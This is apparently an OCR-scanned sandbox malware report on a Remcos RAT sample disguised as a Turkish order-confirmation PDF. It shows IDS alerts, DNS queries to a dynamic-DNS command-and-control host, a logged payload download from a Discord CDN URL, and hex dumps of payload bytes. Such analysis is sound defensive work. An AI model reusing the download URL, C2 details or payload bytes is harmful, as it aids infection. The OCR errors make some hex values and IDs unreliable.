ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetimageCount, ImageList_Destroy,
ImagelList_Create

LresultFromObject

sndPlaySoundA

Country where language is spoken Map

United States
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Snort IDS Alerts

Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP
192.168.2.337.0.14.19549 TCP 284457 ETPRO TROJAN MSIL/Remcos RAT CnC Checkin M2 49778 5017 192.168.2.3  37.0.14.195
77850172844577 7
06/26/22-
09:44:11.704757
192.168.2.337.0.14.19549 TCP 284532 ETPRO TROJAN MSIL/Remcos RAT CnC Keep-Alive (Outbound) 49778 5017 192.168.2.3 37.0.14.195
77850172845323 3
06/26/22-
09:44:57.649154
37.0.14.195192.168.2.350 TCP 284532 ETPRO TROJAN MSIL/Remcos RAT CnC Keep-Alive (Inbound) 5017 49778 37.0.14.195 192.168.2.3
17497782845324 4
06/26/22-
09:44:57.648577
Network Port Distribution

Total Packets: 69

® 53 (DNS)

@ 443 (HTTPS)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Jun 26, 2022 09:42:47.627707005 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:47.627768993 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:47.627863884 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:47.648009062 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:47.648039103 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:47.707540989 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:47.707803011 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.079981089 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.080018997 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.080431938 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.080502987 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.083348036 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.124496937 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.342773914 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.342855930 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.342878103 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.342900038 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.342936039 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.342958927 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.342962980 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.342971087 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.343010902 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.343025923 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.343070984 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.343075037 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.343084097 CEST 443 49716 162.159.130.233 192.168.2.3
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Timestamp Source Port Dest Port Source IP Dest IP

Jun 26, 2022 09:42:48.343106031 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.343132973 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.343141079 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.343180895 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.343719006 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.343784094 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.343790054 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.343800068 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.343825102 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.343852997 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.343861103 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.343900919 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.343903065 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.343913078 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.343936920 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.343961000 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.343969107 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344003916 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344010115 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344048977 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344054937 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344091892 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344099045 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344135046 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344136000 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344146967 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344172001 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344201088 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344207048 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344244957 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344244957 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344255924 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344281912 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344307899 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344316006 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344352961 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344358921 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344396114 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344399929 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344413042 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344439030 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344487906 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344492912 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344505072 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344557047 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344567060 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344610929 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344611883 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344621897 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344662905 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344671965 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344712973 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344721079 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344755888 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344763041 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344805002 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344811916 CEST 443 49716 162.159.130.233 192.168.2.3
Jun 26, 2022 09:42:48.344857931 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344860077 CEST 443 49716 162.159.130.233 192.168.2.3
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Timestamp Source Port Dest Port Source IP Dest IP

Jun 26, 2022 09:42:48.344871044 CEST 443 49716 162.159.130.233 192.168.2.3

Jun 26, 2022 09:42:48.344896078 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344940901 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.344943047 CEST 443 49716 162.159.130.233 192.168.2.3

Jun 26, 2022 09:42:48.344954014 CEST 443 49716 162.159.130.233 192.168.2.3

Jun 26, 2022 09:42:48.344995975 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.345000029 CEST 443 49716 162.159.130.233 192.168.2.3

Jun 26, 2022 09:42:48.345011950 CEST 443 49716 162.159.130.233 192.168.2.3

Jun 26, 2022 09:42:48.345061064 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.348531961 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.348586082 CEST 49716 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.399934053 CEST 49719 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.399987936 CEST 443 49719 162.159.130.233 192.168.2.3

Jun 26, 2022 09:42:48.400074959 CEST 49719 443 192.168.2.3 162.159.130.233
Jun 26, 2022 09:42:48.401007891 CEST 49719 443 192.168.2.3 162.159.130.233
UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jun 26, 2022 09:42:47.586988926 CEST 55923 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:42:47.607784033 CEST 53 55923 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:08.861673117 CEST 57723 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:08.881994963 CEST 53 57723 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:10.750699997 CEST 58116 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:10.774064064 CEST 53 58116 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:13.523336887 CEST 57421 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:13.544734001 CEST 53 57421 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:16.191664934 CEST 65358 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:16.214441061 CEST 53 65358 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:17.117027998 CEST 49873 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:17.139172077 CEST 53 49873 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:21.610383034 CEST 63332 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:21.631690025 CEST 53 63332 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:24.196943998 CEST 49327 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:24.216413021 CEST 53 49327 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:26.996424913 CEST 58981 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:27.015767097 CEST 53 58981 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:29.759982109 CEST 64452 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:29.777625084 CEST 53 64452 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:32.412154913 CEST 61380 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:32.433199883 CEST 53 61380 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:35.037820101 CEST 63146 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:35.058957100 CEST 53 63146 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:38.386646032 CEST 52985 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:38.407360077 CEST 53 52985 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:41.126136065 CEST 58625 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:41.147382021 CEST 53 58625 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:43.728009939 CEST 52810 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:43.747239113 CEST 53 52810 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:46.310242891 CEST 50778 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:46.329695940 CEST 53 50778 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:48.924099922 CEST 55151 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:48.941359043 CEST 53 55151 8.8.8.8 192.168.2.3

Jun 26, 2022 09:43:51.607608080 CEST 59795 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:43:51.630036116 CEST 53 59795 8.8.8.8 192.168.2.3

Jun 26, 2022 09:44:11.454999924 CEST 64816 53 192.168.2.3 8.8.8.8

Jun 26, 2022 09:44:11.476694107 CEST 53 64816 8.8.8.8 192.168.2.3
DNS Queries
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jun 26, 2022 09:42:47.586988926 CEST 192.168.2.3 8.8.8.8 0xf2b2 Standard query  cdn.discor A (IP address) IN (0x0001)
(0) dapp.com

Jun 26, 2022 09:43:08.861673117 CEST 192.168.2.3 8.8.8.8 Ox4a2c Standard query  cdn.discor A (IP address) IN (0x0001)
(0) dapp.com

Jun 26, 2022 09:43:10.750699997 CEST 192.168.2.3 8.8.8.8 0xf7d7 Standard query  blessmyhus A (IP address) IN (0x0001)
(0) tlelord.ddns.net

Jun 26, 2022 09:43:13.523336887 CEST 192.168.2.3 8.8.8.8 0x88e8 Standard query  blessmyhus A (IP address) IN (0x0001)
(0) tlelord.ddns.net

Jun 26, 2022 09:43:16.191664934 CEST 192.168.2.3 8.8.8.8 Oxbbc8 Standard query  blessmyhus A (IP address) IN (0x0001)
(0) tlelord.ddns.net

Jun 26, 2022 09:43:17.117027998 CEST 192.168.2.3 8.8.8.8 Oxcadc Standard query  cdn.discor A (IP address) IN (0x0001)
(0) dapp.com

Jun 26, 2022 09:43:21.610383034 CEST 192.168.2.3 8.8.8.8 Oxbd6a Standard query  blessmyhus A (IP address) IN (0x0001)
(0) tlelord.ddns.net

Jun 26, 2022 09:43:24.196943998 CEST 192.168.2.3 8.8.8.8 Oxcaa3 Standard query  blessmyhus A (IP address) IN (0x0001)
(0) tlelord.ddns.net

Jun 26, 2022 09:43:26.996424913 CEST 192.168.2.3 8.8.8.8 0xf5b4 Standard query  blessmyhus A (IP address) IN (0x0001)
(0) tlelord.ddns.net

Jun 26, 2022 09:43:29.759982109 CEST 192.168.2.3 8.8.8.8 Ox2aba Standard query  blessmyhus A (IP address) IN (0x0001)
(0) tlelord.ddns.net

Jun 26, 2022 09:43:32.412154913 CEST 192.168.2.3 8.8.8.8 0xf76a Standard query  blessmyhus A (IP address) IN (0x0001)
(0) tlelord.ddns.net

Jun 26, 2022 09:43:35.037820101 CEST 192.168.2.3 8.8.8.8 0x1bd7 Standard query  blessmyhus A (IP address) IN (0x0001)
(0) tlelord.ddns.net

Jun 26, 2022 09:43:38.386646032 CEST 192.168.2.3 8.8.8.8 Oxfecc Standard query  blessmyhus A (IP address) IN (0x0001)
0) tlelord.ddns.net

Jun 26, 2022 09:43:41.126136065 CEST 192.168.2.3 8.8.8.8 0x7b86 Standard query  blessmyhus A (IP address) IN (0x0001)
(0) tlelord.ddns.net

Jun 26, 2022 09:43:43.728009939 CEST 192.168.2.3 8.8.8.8 0x3b18 Standard query  blessmyhus A (IP address) IN (0x0001)
(0) tlelord.ddns.net

Jun 26, 2022 09:43:46.310242891 CEST 192.168.2.3 8.8.8.8 0x1b19 Standard query  blessmyhus A (IP address) IN (0x0001)
(0) tlelord.ddns.net

Jun 26, 2022 09:43:48.924099922 CEST 192.168.2.3 8.8.8.8 0x2b24 Standard query  blessmyhus A (IP address) IN (0x0001)
(0) tlelord.ddns.net

Jun 26, 2022 09:43:51.607608080 CEST 192.168.2.3 8.8.8.8 0x4b04 Standard query  blessmyhus A (IP address) IN (0x0001)
©0) tlelord.ddns.net

Jun 26, 2022 09:44:11.454999924 CEST 192.168.2.3 8.8.8.8 0xb37a Standard query  blessmyhus A (IP address) IN (0x0001)
(0) tlelord.ddns.net

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jun 26, 2022 8.8.8.8 192.168.2.3 0xf2b2 No error (0) cdn.discor 162.159.130.233 A (IP address) IN

09:42:47.607784033 CEST dapp.com (0x0001)

Jun 26, 2022 8.8.8.8 192.168.2.3 0xf2b2 No error (0) cdn.discor 162.159.134.233 A (IP address) IN

09:42:47.607784033 CEST dapp.com (0x0001)

Jun 26, 2022 8.8.8.8 192.168.2.3 0xf2b2 No error (0) cdn.discor 162.159.129.233 A (IP address) IN

09:42:47.607784033 CEST dapp.com (0x0001)

Jun 26, 2022 8.8.8.8 192.168.2.3 0xf2b2 No error (0) cdn.discor 162.159.133.233 A (IP address) IN

09:42:47.607784033 CEST dapp.com (0x0001)

Jun 26, 2022 8.8.8.8 192.168.2.3 0xf2b2 No error (0) cdn.discor 162.159.135.233 A (IP address) IN

09:42:47.607784033 CEST dapp.com (0x0001)

Jun 26, 2022 8.8.8.8 192.168.2.3 Ox4a2c No error (0) cdn.discor 162.159.133.233 A (IP address) IN

09:43:08.881994963 CEST dapp.com (0x0001)

Jun 26, 2022 8.8.8.8 192.168.2.3 Ox4a2c No error (0) cdn.discor 162.159.134.233 A (IP address) IN

09:43:08.881994963 CEST dapp.com (0x0001)

Jun 26, 2022 8.8.8.8 192.168.2.3 Ox4a2c No error (0) cdn.discor 162.159.130.233 A (IP address) IN

09:43:08.881994963 CEST dapp.com (0x0001)

Jun 26, 2022 8.8.8.8 192.168.2.3 Ox4a2c No error (0) cdn.discor 162.159.129.233 A (IP address) IN

09:43:08.881994963 CEST dapp.com (0x0001)

Jun 26, 2022 8.8.8.8 192.168.2.3 Ox4a2c No error (0) cdn.discor 162.159.135.233 A (IP address) IN

09:43:08.881994963 CEST dapp.com (0x0001)

Jun 26, 2022 8.8.8.8 192.168.2.3 0xf7d7 No error (0) blessmyhus 37.0.14.195 A (IP address) IN

09:43:10.774064064 CEST tlelord.ddns.net (0x0001)

Jun 26, 2022 8.8.8.8 192.168.2.3 0x88e8 No error (0) blessmyhus 37.0.14.195 A (IP address) IN

09:43:13.544734001 CEST tlelord.ddns.net (0x0001)

Jun 26, 2022 8.8.8.8 192.168.2.3 Oxbbc8 No error (0) blessmyhus 37.0.14.195 A (IP address) IN

09:43:16.214441061 CEST tlelord.ddns.net (0x0001)

Jun 26, 2022 8.8.8.8 192.168.2.3 Oxcadc No error (0) cdn.discor 162.159.134.233 A (IP address) IN

09:43:17.139172077 CEST dapp.com (0x0001)
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Jun 26, 2022 8.8.8.8 192.168.2.3 Oxcadc No error (0) cdn.discor 162.159.129.233 A (IP address) IN
09:43:17.139172077 CEST dapp.com (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 Oxcadc No error (0) cdn.discor 162.159.135.233 A (IP address) IN
09:43:17.139172077 CEST dapp.com (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 Oxcadc No error (0) cdn.discor 162.159.130.233 A (IP address) IN
09:43:17.139172077 CEST dapp.com (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 Oxcadc No error (0) cdn.discor 162.159.133.233 A (IP address) IN
09:43:17.139172077 CEST dapp.com (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 Oxbd6a No error (0) blessmyhus 37.0.14.195 A (IP address) IN
09:43:21.631690025 CEST tlelord.ddns.net (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 Oxcaa3 No error (0) blessmyhus 37.0.14.195 A (IP address) IN
09:43:24.216413021 CEST tlelord.ddns.net (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 0xf5b4 No error (0) blessmyhus 37.0.14.195 A (IP address) IN
09:43:27.015767097 CEST tlelord.ddns.net (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 Ox2aba No error (0) blessmyhus 37.0.14.195 A (IP address) IN
09:43:29.777625084 CEST tlelord.ddns.net (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 0xf76a No error (0) blessmyhus 37.0.14.195 A (IP address) IN
09:43:32.433199883 CEST tlelord.ddns.net (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 0x1bd7 No error (0) blessmyhus 37.0.14.195 A (IP address) IN
09:43:35.058957100 CEST tlelord.ddns.net (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 Oxfecc No error (0) blessmyhus 37.0.14.195 A (IP address) IN
09:43:38.407360077 CEST tlelord.ddns.net (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 0x7b86 No error (0) blessmyhus 37.0.14.195 A (IP address) IN
09:43:41.147382021 CEST tlelord.ddns.net (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 0x3b18 No error (0) blessmyhus 37.0.14.195 A (IP address) IN
09:43:43.747239113 CEST tlelord.ddns.net (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 0x1b19 No error (0) blessmyhus 37.0.14.195 A (IP address) IN
09:43:46.329695940 CEST tlelord.ddns.net (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 0x2b24 No error (0) blessmyhus 37.0.14.195 A (IP address) IN
09:43:48.941359043 CEST tlelord.ddns.net (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 0x4b04 No error (0) blessmyhus 37.0.14.195 A (IP address) IN
09:43:51.630036116 CEST tlelord.ddns.net (0x0001)
Jun 26, 2022 8.8.8.8 192.168.2.3 0xb37a No error (0) blessmyhus 37.0.14.195 A (IP address) IN
09:44:11.476694107 CEST tlelord.ddns.net (0x0001)

HTTP Request Dependency Graph

e cdn.discordapp.com

HTTPS Proxied Packets
: A Destination

Session ID Source IP Source Port Destination IP Port Process

0 192.168.2.3 49716 162.159.130.233 443 C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe
kB:

Timestamp ytes Direction Data
transferred

2022-06-26 07:42:48 UTC 0O ouT GET /attachments/990482594137251863/990489253987360768/Eluiezilfwmdrgrdfrgpnwmurrnwnhm HTTP/1.1

User-Agent: IVali
Host: cdn.discordapp.com
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kBytes

Timestam
P transferred

2022-06-26 07:42:48 UTC 0

2022-06-26 07:42:48 UTC 1

2022-06-26 07:42:48 UTC 1

2022-06-26 07:42:48 UTC 2

2022-06-26 07:42:48 UTC 4

2022-06-26 07:42:48 UTC 5

2022-06-26 07:42:48 UTC 6

Copyright Joe Security LLC 2022

Direction

IN

Data

HTTP/1.1 200 OK

Date: Sun, 26 Jun 2022 07:42:48 GMT

Content-Type: application/octet-stream

Content-Length: 279040

Connection: close

CF-Ray: 72144eee880abb5b-FRA

Accept-Ranges: bytes

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%?20filename=Eluiezilfwmdrgrdfrgpnwmurrnwnhm

ETag: "7d74af495b07aad93486870343b767e3"

Expires: Mon, 26 Jun 2023 07:42:48 GMT

Last-Modified: Sun, 26 Jun 2022 05:30:40 GMT

Vary: Accept-Encoding

CF-Cache-Status: MISS

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1656221440589477

X-goog-hash: crc32c=Xt3y7g==

X-goog-hash: md5=fXSvSVsHqtkOhocDQ7dn4w==

X-goog-metageneration: 1

X-goog-storage-class: STANDARD

x-goog-stored-content-encoding: identity

x-goog-stored-content-length: 279040

X-GUploader-UploadID: ADPycdu_QOTpycrk7qS4E4nzePhDznye5MF6EVmpLkOqf7VktTc-kyY8fGFrFgOabSje
mjhV50iEBDAd8z50hKsfTtoAgBDmNg2v

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:V\Va.nel.cloudflare.comV/report\/\v3?s=P4hq7FwY CIRoOBJKDS0iJfy5Ac%2FwQ9
PfUtJ%2FI7GBUdP04s6kyuCtSRAf%2Fucz36kazVouAf4UMCaC7aF8JTaey%2FwWS9FJVFEVtewmWpoQIs%2BJ15Cv8
cPZoGocgY4Vyun1OSrt7QA%3D%3D"}],"group™:"cf-nel","max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74
6f 22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20
63 6¢ 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 28 7f b5 25 de 25 25 25 29 25 25 25 da da 25 25 dd 25 25 25 25 25 25 25 65 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 dc 25 25 33 fa df 33 25 d9 e4 a8 fc dd dc
71 a8 fc 79 8d 44 4e 45 95 97 4a 42 97 3c 48 45 3e 3¢ 93 93 4a 99 45 87 40 45 97 50 93 45 44 93 45 69 2a 2e 45 48 4a
89 40 53 e8 e8 2f 49 25 25 25 25 25 25 25 19 fb 3d ab d5 92 9b b0 d5 92 9b b0 d5 92 9b b0 Oe 86 9d b0 92 92 9b b0 ba ¢
d 58 b0 8e 92 9b b0 ba cd al b0 96 92 9b b0 ba cd 97 b0 d7 92 9b b0 63 9a 04 b0 90 92 9b b0 7d cd 58 b0 8e 92 9b b0
63 9a 3b b0 8¢ 92 9b b0 d5 92 52 b0 a5 db 9b b0 Oe 9a 06 b0 7e 92 9b b0 ab 6¢ 58 b0 47 92 9b b0 ab 6¢ al b0 8c 92 9b
b0 86 4f 01 b0 d9 92 9b b0 52 8¢ 95 b0 8¢ 92 9b b0 77 44 3e 8d d5 92 9b

Data Ascii: (%%%%)%%%%%%%%%%%%0e %% % % %% %% %% % %% %% % % % %% %% %% % % % %%
%%%%%%%%%33%qyDNEJB<HE><JE@EPEDEi*. EHI@S/1%%%%%%%=Xc}Xc;R~IXGIORwWD>

Data Raw: 59 65 25 ec 79 24 93 99 40 97 8b 3c 3e 40 89 2a 87 8f 40 3e 99 66 e5 da 00 b5 cc 1c 25 66 e5 da 00 bl cc 1c
2566 e5 da 00 ad cc 1c 25 66 5 da 00 a9 cc 1c 25 66 e5 da 00 a5 cc 1c 25 66 e5 da 00 c9 cc 1c 25 66 e5 da 00 al cc
1c 25 66 e5 da 00 c5 cc 1c 25 66 e5 da 00 9d cc 1c 25 66 e5 da 00 99 cc 1c 25 66 e5 da 00 95 cc 1c 25 66 e5 da 00 91
cc 1c 2566 e5 da 00 8d cc 1c 25 66 e5 da 00 89 cc 1c 25 66 e5 da 00 85 cc 1c 25 66 e5 da 00 81 cc 1c 25 66 e5 da 00 7
dcc 1c 2566 e5 da 00 79 cc 1c 25 66 e5 da 00 75 cc 1c 25 66 e5 da 00 c1 cc 1c 25 66 e5 da 00 71 cc 1c 25 66 e5 da 00
6d cc 1c 25 66 e5 da 00 69 cc 1c 25 66 e5 da 00 d9 cc 1c 25 66 e5 da 00 d5 cc 1c 25 66 e5 da 00 d1 cc 1c 25 66 e5 da
00 65 cc 1c 25 66 e5 da 00 61 cc 1c 25 66 e5 da 00 e9 cc 1c 25 66 e5

Data Ascii: Ye%y$@<>@*@>f%f%f%f%f%f%f%f{%f%f%f% %% % %%} %6fy Yofu%f%fqvefm9efi%fYefyefvetfeYofadefvof

Data Raw: 25 66 2b 66 65 2d 75 0d 3b 21 da da 60 e5 50 2f a2 e0 ed c0 1c 25 dc 25 25 25 66 2b 0d ec d8 da da 66 69 49
29 64 2b dd 11 c0 1c 25 16 2b 50 b1 Oe e5 64 e2 5e al 49 31 25 99 ec 66 69 49 2d 64 e2 66 69 49 31 06 69 49 2d 64 22
29 5e e9 3d 38 3a 83 36 9e 66 e5 2e 7b 32 30 5e €9 0d 66 b4 64 39 49 68 99 49 2d 68 al 49 29 68 91 49 31 66 5 66 ef
5c be 25 15 da da 64 71 49 35 de 39 49 5¢c e7 da ea 25 25 5¢ 07 25 15 da da 64 79 49 39 66 69 49 35 64 de 66 69 49 39
06 69 49 35 64 1e 29 7c 11 c0 1c 25 64 e2 c6 36 66 e2 66 65 2d 64 2b 66 2 66 65 31 de 2b 64 20 25 66 2b 16 69 49 35
4e 2b 66 69 49 35 64 2b 66 20 25 16 69 49 39 9b e2 66 69 49 39 64 20 25 66 2b 16 20 25 4e fa 8f 29 8d 25 35 25 25 66
20 25 06 2b 75 66 2b 75 0d 4b d6 da da 60 e5 50 2b Oe e5 64 de c6 ea 66

Data Ascii: %f+fe-u;!"P/%%%%f+fil)d+%+Pd"11%fil-dfil 1il-d")*=8:6f.{20"fd9IhI-h1)h11f\%dqI591\%%\%dy 19fil 5dfil
